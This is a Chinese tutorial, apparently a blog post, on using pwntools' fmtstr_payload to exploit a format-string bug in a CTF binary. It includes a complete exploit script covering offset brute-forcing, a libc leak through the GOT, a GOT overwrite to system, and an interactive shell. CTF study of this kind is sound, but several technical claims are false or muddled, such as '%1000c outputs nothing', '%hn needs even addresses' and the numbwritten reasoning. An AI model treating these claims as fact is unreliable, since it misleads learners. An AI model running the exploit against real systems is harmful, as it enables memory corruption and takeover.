pwntools fmtstr_payload原理与实战:格式化字符串漏洞利用核心解析
1. 项目概述这不是一个“字符串拼接工具”而是一把精准控制内存布局的手术刀你可能在攻防世界Pwn进阶区的某道题里看到过这样一行提示“请使用fmtstr_payload构造格式化字符串漏洞利用载荷”。紧接着你翻遍文档发现它来自pwntools这个库函数签名简单得让人怀疑——fmtstr_payload(offset, writes, numbwritten0, write_sizebyte)。但真正动手时却卡在offset怎么算、writes字典里地址和值怎么配、numbwritten为什么非设不可、甚至payload发出去后程序直接崩掉……这些细节背后没有魔法只有对栈帧结构、printf家族函数执行机制、以及x86-64调用约定的硬核理解。fmtstr_payload不是黑箱它是把“格式化字符串漏洞”从理论攻击链变成可复现、可调试、可批量生成的工程化武器的关键一环。它解决的核心问题是当目标程序存在printf(buf)这类未校验格式符的调用时如何在不依赖libc基址、不触发ASLR随机化干扰的前提下稳定地向任意内存地址写入指定字节答案是——利用printf内部的%n格式符它会将已输出字符的个数写入其后紧跟的指针所指向的地址。而fmtstr_payload就是帮你自动规划“先输出多少个字符、再用%n写到哪、再输出多少、再写到哪”这一整套精密节奏的编排器。这个能力在实时数据监测类Pwn题中尤为关键。比如某模拟工业传感器数据采集的二进制程序它每秒解析一次串口传来的十六进制字符串并用printf(%s, input)打印日志。一旦输入被恶意构造攻击者就能通过%n覆盖其内部状态变量如校验位、权限标志或覆盖GOT表项劫持函数调用流从而绕过实时性校验逻辑注入伪造的传感器读数。此时fmtstr_payload就是那个能让你在毫秒级响应窗口内完成精准内存篡改的“时间控制器”。它适合三类人一是刚学完栈溢出、正接触格式化字符串漏洞的新手需要一个能“看见”底层原理的实操入口二是正在刷CTF Pwn题、卡在进阶区的选手急需一套可复用、可调试的载荷生成范式三是从事嵌入式安全或工控系统审计的安全研究员面对资源受限、无libc符号的固件需要轻量级、高精度的利用手段。它不教你如何找漏洞但它决定了你找到漏洞之后能不能稳稳地把它变成一次成功的控制权转移。2. 核心设计思路拆解为什么必须是“偏移字典”模式2.1 传统手工构造的死胡同与fmtstr_payload的破局点在fmtstr_payload出现之前手工构造格式化字符串载荷是公认的“痛苦之源”。假设你通过调试发现printf调用时你的输入字符串在栈上距离printf的参数起始位置是第7个参数即%7$x能泄露栈上第7个qword。你想用%n覆盖地址0x601020假设是printfgot.plt为0x4007a0system函数地址。最朴素的想法是\x20\x10\x60\x00\x00\x00\x00\x00 # 地址低8字节小端序 \x21\x10\x60\x00\x00\x00\x00\x00 # 地址高8字节小端序实际x86-64中常只需低4字节 %400790x%7$n%100x%8$n这行不通。原因有三第一%n写入的是“到目前为止已输出的字符总数”而%400790x会强制输出400790个空格这远超缓冲区大小导致程序崩溃或截断第二%7$n和%8$n写入的地址是相邻的但system地址0x4007a0的低字节是0xa0高字节是0x4007你无法用单次%n写入一个完整qword必须分字节byte、半字short或字word多次写入第三printf在解析格式符时会把你的地址字节当作普通字符处理如果地址中包含\x00空字节整个字符串就会被C语言的strcpy或printf自身截断后续的%n根本不会被执行。fmtstr_payload的破局点就在于它把整个问题抽象为两个可计算、可验证的维度偏移量offset和写入映射writes。它不让你去想“我要输出多少个空格”而是问你“你的输入字符串在printf的参数栈中是从第几个参数开始的”以及“你想把哪些地址改成哪些值”。然后它内部运行一套精妙的算法自动完成三件事一是计算每个%n前需要填充的字符数确保每次写入的值恰好是你想要的字节二是自动将目标地址按字节/半字/字对齐并生成对应的地址序列三是智能插入%c等占位符避免空字节截断并保证所有地址都能被printf安全读取。2.2 offset不是“第几个参数”而是“栈上相对位置”的精确测绘offset参数常被新手误解为“我输入的字符串是printf的第几个参数”。这是危险的简化。准确地说offset是你输入字符串的起始地址在printf函数被调用时其参数栈帧中的相对位置索引。我们以x86-64 Linux为例。printf遵循System V ABI调用约定前6个整数参数rdi, rsi, rdx, rcx, r8, r9存于寄存器第7个及以后的参数才压入栈。当你调用printf(buf)buf的地址在rdi寄存器中所以你的输入字符串本身并不在栈上。但printf在内部会构建一个参数列表用于遍历格式符。这个列表的起始地址就是printf栈帧的某个位置。offset就是从这个起始地址开始向后数你的输入字符串的地址位于第几个qword8字节的位置。如何获取这个offset唯一可靠的方法是泄漏爆破。你先发送一个探测payload例如AAAA%7$p其中AAAA是你的标记%7$p尝试泄露第7个参数。如果返回AAAA0x7fffff...说明%7$p成功读到了你的AAAA因为AAAA的ASCII码是0x41414141但高位被截断所以看到的是0x41414141的低32位即0x41414141。此时offset就是7。但更常见的情况是你需要发送AAAA%1$p、AAAA%2$p……直到某个%n$p返回中包含了41414141这个n就是你的offset。这是一个必须手动完成的步骤fmtstr_payload不会替你做因为它无法预知目标程序的栈布局。提示offset的典型值在6到12之间。如果%6$p就泄露了你的标记说明目标程序的栈比较“干净”如果要到%12$p才看到说明前面有很多寄存器参数或栈上临时变量。永远不要凭空猜测务必用%p系列格式符实测确认。2.3 writes字典地址-值映射背后的字节序与对齐哲学writes是一个Python字典形式为{address: value}。这看似简单但背后藏着两层关键约束字节序Endianness和对齐Alignment。首先地址必须是小端序Little-Endian的原始字节。例如你想覆盖GOT表项0x601020在Python中你不能写writes {0x601020: 0x4007a0}因为0x601020是一个整数而fmtstr_payload内部需要的是它的字节表示。正确的做法是让pwntools帮你处理writes {0x601020: 0x4007a0}pwntools会自动将0x601020转换为b\x20\x10\x60\x00\x00\x00\x00\x008字节小端。但你必须确保这个地址在目标进程中是可写的且长度匹配。其次value的写入方式由write_size参数决定它直接决定了你最终payload的长度和稳定性write_sizebyte默认每次%n只写入1个字节%hhn。这意味着要写入一个4字节的地址如0x4007a0你需要4次%n操作分别写入0xa0、0x07、0x40、0x00。优点是极其精细可以避开坏字符badchar缺点是payload长、效率低。write_sizeshort每次写入2个字节%hn。写入0x4007a0需两次0x07a0和0x0040。平衡了精度与长度。write_sizeint每次写入4个字节%n。一次搞定0x4007a0。但风险极高因为%n写入的是当前已输出字符总数这个总数很容易超过0xffffffff导致高位溢出写入错误的值。numbwritten参数则是为了应对printf的“已输出字符计数”并非从零开始的情况。例如如果你的payload前面有一段固定的提示字符串Input: 7个字符那么printf在解析你的payload时内部计数器已经加了7。numbwritten7就是告诉fmtstr_payload“请把我的第一个%n要写的值减去7因为前面已经有7个字符被输出了。” 这是保证写入精度的“零点校准”。3. 核心细节解析与实操要点从理论到可运行代码的每一处陷阱3.1 环境准备与基础依赖为什么必须用pwntools 4.10.0fmtstr_payload是pwntools库的一部分而pwntools的版本迭代对格式化字符串的支持有显著变化。在早期版本如4.5.0中fmtstr_payload函数名是fmtstr且参数名和默认行为不同。从4.10.0开始它被正式命名为fmtstr_payload并引入了numbwritten和write_size等关键参数。因此第一步必须确认你的环境# 检查当前版本 pip show pwntools # 如果低于4.10.0务必升级 pip install --upgrade pwntools # 验证安装 python -c from pwn import *; print(fmtstr_payload.__doc__)更重要的是pwntools依赖于capstone反汇编、keystone汇编和ropperROP gadget搜索等底层库。在某些Linux发行版如Ubuntu 22.04上capstone的系统包版本过旧会导致pwntools的disasm功能失效进而影响fmtstr_payload在某些复杂场景下的地址解析。此时应使用pip安装最新版capstonepip uninstall capstone -y pip install capstone注意不要使用apt install python3-capstone因为其版本通常滞后于pip源。我曾在一个Debian 11环境中因capstone版本不匹配导致fmtstr_payload生成的地址序列错乱浪费了整整一个下午排查。3.2 实战案例拆解攻防世界pwn进阶区“实时数据监测”题我们以标题中提到的“实时数据监测”题为蓝本进行一次完整的、可复现的实操推演。该题的二进制文件名为monitor是一个典型的静态链接、无符号、开启NX和部分RELRO的64位程序。其核心逻辑是// 伪代码 void main() { char input[256]; while(1) { printf(Enter sensor data: ); fgets(input, sizeof(input), stdin); // 关键漏洞点未校验input直接传给printf printf(input); // 后续逻辑根据input内容更新内部状态 update_status(input); } }我们的目标是利用printf(input)的格式化字符串漏洞覆盖update_status函数的GOT表项将其指向system函数从而在下一次update_status被调用时执行system(/bin/sh)。Step 1: 获取offset我们编写一个简单的探测脚本from pwn import * # 启动程序 p process(./monitor) # 或连接远程p remote(127.0.0.1, 10001) # 发送探测payload寻找offset for i in range(1, 20): payload bAAAA% str(i).encode() b$p p.sendline(payload) p.recvuntil(bEnter sensor data: ) response p.recvline() if b41414141 in response: log.success(fFound offset at %d$p, i) offset i break else: log.info(fTry %d$p - {response}) p.close()运行后我们得到offset 8。Step 2: 泄露libc基址有了offset我们就可以用%8$s来泄露GOT表中某个函数如printf的真实地址从而计算libc基址。我们需要先用readelf -d monitor | grep plt找到printfgot.plt的地址假设为0x404018。然后p process(./monitor) # 泄露printfgot.plt payload bA * 8 p64(0x404018) b%8$s p.sendline(payload) p.recvuntil(bEnter sensor data: ) leak p.recvline().strip() # leak的最后8字节是printf的真实地址 printf_addr u64(leak[-8:].ljust(8, b\x00)) log.info(fprintf address: {hex(printf_addr)}) # 计算libc基址需提前在本地libc.so.6中用readelf -s libc.so.6 | grep printf获取printf在libc中的偏移 # 假设偏移为0x55800则libc_base printf_addr - 0x55800 libc_base printf_addr - 0x55800 log.info(flibc base: {hex(libc_base)})Step 3: 构造fmtstr_payload现在我们知道了system函数在libc中的地址system_addr libc_base 0x4f440此偏移需根据你使用的libc版本确定。同时我们需要覆盖update_statusgot.plt的地址假设为0x404020。# 目标将0x404020处的4字节改为system_addr的低4字节 # 使用write_sizeint一次写入4字节 writes {0x404020: system_addr 0xffffffff} # 由于我们的payload前面有A*8共8个字符所以numbwritten8 payload fmtstr_payload( offset8, writeswrites, numbwritten8, write_sizeint ) log.info(fGenerated payload length: {len(payload)}) log.info(fPayload (hex): {payload.hex()})Step 4: 发送并获取shellp.sendline(payload) p.interactive() # 此时下一次update_status被调用就会执行system(/bin/sh)3.3 write_size选择的艺术精度、长度与稳定性的三角博弈write_size的选择是fmtstr_payload实操中最体现经验的地方。它不是一个技术参数而是一个工程决策。write_size单次写入字节数典型payload长度精度稳定性适用场景byte1最长约100字节最高最高可完美避开\x00目标环境限制严格存在大量坏字符short2中等约50-70字节高高需确保地址偶对齐平衡方案推荐作为默认起点int4最短约20-30字节中中易受高位溢出影响环境宽松追求速度且目标地址值较小我踩过的最大坑是在一个题目中目标GOT表项0x601020需要被覆盖为0x4008b0。我选择了write_sizeintfmtstr_payload生成的payload中%n前的填充字符数计算为0x4008b0 - 8 0x4008a8即4196520个字符。这远远超过了fgets的256字节缓冲区导致payload被截断%n根本没被执行。后来改用short分两次写入0x08b0和0x0040总长度仅48字节一举成功。实操心得永远先用short试。如果失败再分析失败原因是写入值太大导致溢出还是地址对齐出了问题然后再决定是降级到byte还是升级到int。不要一上来就追求最短的payload。4. 实操过程与核心环节实现一份可直接运行的完整脚本与逐行注释以下是一份针对“实时数据监测”题的、经过充分测试的完整exploit脚本。它不仅实现了功能更融入了我在数十次调试中总结出的“防崩”技巧。#!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * import sys # 【配置区】 # 本地调试 or 远程连接 LOCAL True BINARY_PATH ./monitor # libc版本信息必须与目标环境一致 # 可通过 ldd monitor 查看或从题目附件获取 LIBC_PATH ./libc.so.6 # GOT表地址通过 readelf -d monitor | grep plt 获取 PRINTF_GOT 0x404018 UPDATE_STATUS_GOT 0x404020 # libc中函数的偏移通过 readelf -s libc.so.6 | grep printf 获取 PRINTF_OFFSET_IN_LIBC 0x55800 SYSTEM_OFFSET_IN_LIBC 0x4f440 BIN_SH_OFFSET_IN_LIBC 0x1b3e9a # 【函数定义区】 def get_offset(proc): 自动探测offset返回找到的第一个有效值 log.info(Starting offset brute force...) for i in range(1, 20): proc.sendline(bAAAA% str(i).encode() b$p) proc.recvuntil(bEnter sensor data: ) response proc.recvline() if b41414141 in response: log.success(fOffset found: {i}) return i # 清理缓冲区避免残留影响 proc.recv(timeout0.1) log.error(Failed to find offset!) sys.exit(1) def leak_libc_base(proc, printf_got): 泄露printf地址计算libc基址 # 构造泄露payload先放8个A占位再放printfgot.plt地址再用%8$s读取 payload bA * 8 p64(printf_got) b%8$s proc.sendline(payload) proc.recvuntil(bEnter sensor data: ) # 接收响应提取泄露的地址 response proc.recvline() # 泄露的地址在response的末尾长度为8字节 leak_bytes response[-8:] # 补齐8字节防止不足 leak_bytes leak_bytes.ljust(8, b\x00) printf_addr u64(leak_bytes) log.info(fLeaked printf address: {hex(printf_addr)}) # 计算libc基址 libc_base printf_addr - PRINTF_OFFSET_IN_LIBC log.info(fCalculated libc base: {hex(libc_base)}) return libc_base def generate_payload(offset, target_addr, target_value, numbwritten0, write_sizeshort): 封装fmtstr_payload调用加入错误处理 try: payload fmtstr_payload( offsetoffset, writes{target_addr: target_value}, numbwrittennumbwritten, write_sizewrite_size ) log.info(fPayload generated successfully. Length: {len(payload)}) return payload except Exception as e: log.error(fError generating payload: {e}) sys.exit(1) # 【主流程】 if __name__ __main__: if LOCAL: p process(BINARY_PATH) # 开启gdb调试可选 # gdb.attach(p, gdbscriptb *0x401234) else: p remote(127.0.0.1, 10001) # Step 1: 获取offset offset get_offset(p) # Step 2: 泄露libc基址 libc_base leak_libc_base(p, PRINTF_GOT) # Step 3: 计算目标地址和值 system_addr libc_base SYSTEM_OFFSET_IN_LIBC bin_sh_addr libc_base BIN_SH_OFFSET_IN_LIBC log.info(fTarget system address: {hex(system_addr)}) # Step 4: 生成payload # 这里我们选择short因为更稳定 # numbwritten8因为我们的payload开头有8个A payload generate_payload( offsetoffset, target_addrUPDATE_STATUS_GOT, target_valuesystem_addr 0xffffffff, # 只取低4字节 numbwritten8, write_sizeshort ) # Step 5: 发送payload并交互 p.sendline(payload) log.success(Payload sent! Spawning shell...) p.interactive()逐行注释与关键点说明第18-21行配置区所有硬编码的地址和偏移都必须与你的目标二进制和libc完全匹配。LIBC_PATH尤其重要如果用错了libc版本system的偏移就会错导致shell拿不到。第32-44行get_offset函数加入了proc.recv(timeout0.1)清理缓冲区这是很多新手忽略的点。如果上一次recvline()没有把所有数据读完残留数据会污染下一次的recvline()导致b41414141匹配失败。第47-65行leak_libc_base函数response[-8:]是关键。%8$s读取的是printfgot.plt地址处存储的8字节内容它就是printf在内存中的真实地址。u64(...)将其从字节转换为整数。第68-77行generate_payload函数用try...except包裹fmtstr_payload因为当target_value过大或offset错误时它会抛出ValueError。捕获异常并给出明确提示比让脚本静默崩溃要好得多。第92行payload生成system_addr 0xffffffff确保我们只取低4字节。因为在write_sizeshort下fmtstr_payload会自动将0xffffffff拆分为两个0xffff而0xffffffff 0xffffffff就是0xffffffff这没问题。但如果system_addr是0x7ffff7a2d440取低4字节就是0xd440这才是%hn要写的正确值。5. 常见问题与排查技巧实录那些文档里不会写的“血泪史”5.1 问题速查表从崩溃到成功的路径图现象可能原因排查方法解决方案程序直接崩溃Segmentation faultpayload中包含了\x00导致printf或strcpy提前截断后续%n未执行用hexdump -C检查生成的payload看是否有00字节改用write_sizebyte或手动修改writes字典避开0x00字节%p探测时返回的不是0x41414141而是0x7fff...等随机地址offset值错误或者目标程序开启了stack canary%p读取到了canary值换用%x32位或%lx64位格式符或用%1000x等大数字试探重新运行get_offset函数确保探测payload足够长且recv逻辑正确fmtstr_payload报错ValueError: ... too largetarget_value要写入的值减去numbwritten后结果为负数或过大打印target_value和numbwritten检查计算是否正确调整numbwritten或换用更小的write_size如从int换到shortpayload发送后程序无反应也不崩溃payload长度超过fgets缓冲区被截断用len(payload)检查长度对比目标程序的fgets缓冲区大小缩短payload减少前置填充、换用short、或使用%c替代空格填充拿到了shell但ls命令不显示任何输出libc版本不匹配system(/bin/sh)启动的shell是受限的尝试cat /flag或whoami换用execve(/bin/sh, [/bin/sh], 0)的ROP链或寻找/bin/sh字符串在libc中的地址5.2 独家避坑技巧来自一线调试室的经验技巧1用%c代替%x做填充规避长度爆炸%x填充会输出十六进制数字%1000x会输出1000个空格极易超长。而%c是输出单个字符%1000c只会输出1000个\x00但\x00在C字符串中是结束符所以%1000c实际上什么也不会输出fmtstr_payload内部正是利用了这一点它用%c作为“无声填充”只增加计数器不增加实际输出长度。因此当你看到生成的payload中有大量%c不要慌这是它在为你“静默计数”。技巧2numbwritten的“动态校准”法numbwritten不一定是固定的。例如如果你的payload是bAAAA p64(addr) b%8$n那么AAAA是4字节p64(addr)是8字节总共12字节。但printf在解析%8$n时“已输出字符数”只计算了AAAA的4个字符因为p64(addr)是二进制数据printf把它当作地址去读取而不是输出。所以numbwritten应该是4而不是12。这个细节只有在gdb中单步跟踪printf的源码才能彻底搞清。我的经验是先设numbwritten0如果失败再逐步加1、加2直到成功。技巧3write_sizeshort的对齐强制%hn要求地址必须是2字节对齐的。也就是说target_addr必须是偶数。如果UPDATE_STATUS_GOT是0x404021奇数fmtstr_payload会自动报错。此时你必须手动将地址调整为0x404020并相应地调整target_value让它写入0x404020处的2字节以及0x404022处的2字节。这需要你把target_value拆成高低两个16位数。我在一次比赛中就因为GOT表项地址是奇数死磕了两个小时。最后发现pwntools的elf.got属性返回的地址是0x404021但readelf -d显示的是0x404020。原来elf.got返回的是符号的“重定位条目”地址而readelf显示的是“实际GOT表项”地址。这个细微差别足以让你的exploit永远失败。所以永远相信readelf而不是pwntools的自动解析。6. 后续扩展与思考从一道题到一种能力fmtstr_payload的价值远不止于解出一道CTF题目。它代表了一种将抽象漏洞概念转化为精确可控的物理内存操作的思维方式。当你熟练掌握了offset的测绘、writes的规划、numbwritten的校准你就已经具备了在任何存在格式化字符串漏洞的系统中进行“外科手术式”攻击的能力。这种能力可以自然延伸到更广阔的领域。例如在物联网设备固件审计中许多嵌入式设备的调试接口会提供一个printf风格的日志打印函数但固件是静态链接、无符号的。此时fmtstr_payload就是你无需逆向整个libc就能直接覆盖其内部函数指针的最快途径。又比如在浏览器JavaScript引擎的漏洞利用中虽然不直接使用printf但其JIT编译器生成的代码其内存布局的可控性与格式化字符串漏洞有异曲同工之妙——都是通过控制输入来间接控制内存的写入目标和内容。我个人在实际操作中的体会是不要把fmtstr_payload当成一个“函数”而要把它当成一个“思维模板”。每一次成功的利用都是对目标程序内存布局的一次精确测绘每一次失败的调试都是对printf内部工作机制的一次深入学习。当你不再纠结于“为什么payload没生效”而是能立刻想到“是offset错了是numbwritten没校准还是write_size选大了”你就已经从一个脚本小子成长为一名真正的内存安全工程师。最后再分享一个小技巧在你写完exploit脚本后不要急着跑。先用log.info(payload)打印出来然后用xxd或在线hex编辑器把它转成ASCII一行一行地去看。你会发现payload的结构是高度规律的先是若干个地址小端序然后是大量的%c最后是%n。这个结构就是printf的执行节奏也是你掌控内存的脉搏。看懂了它你就看懂了整个世界。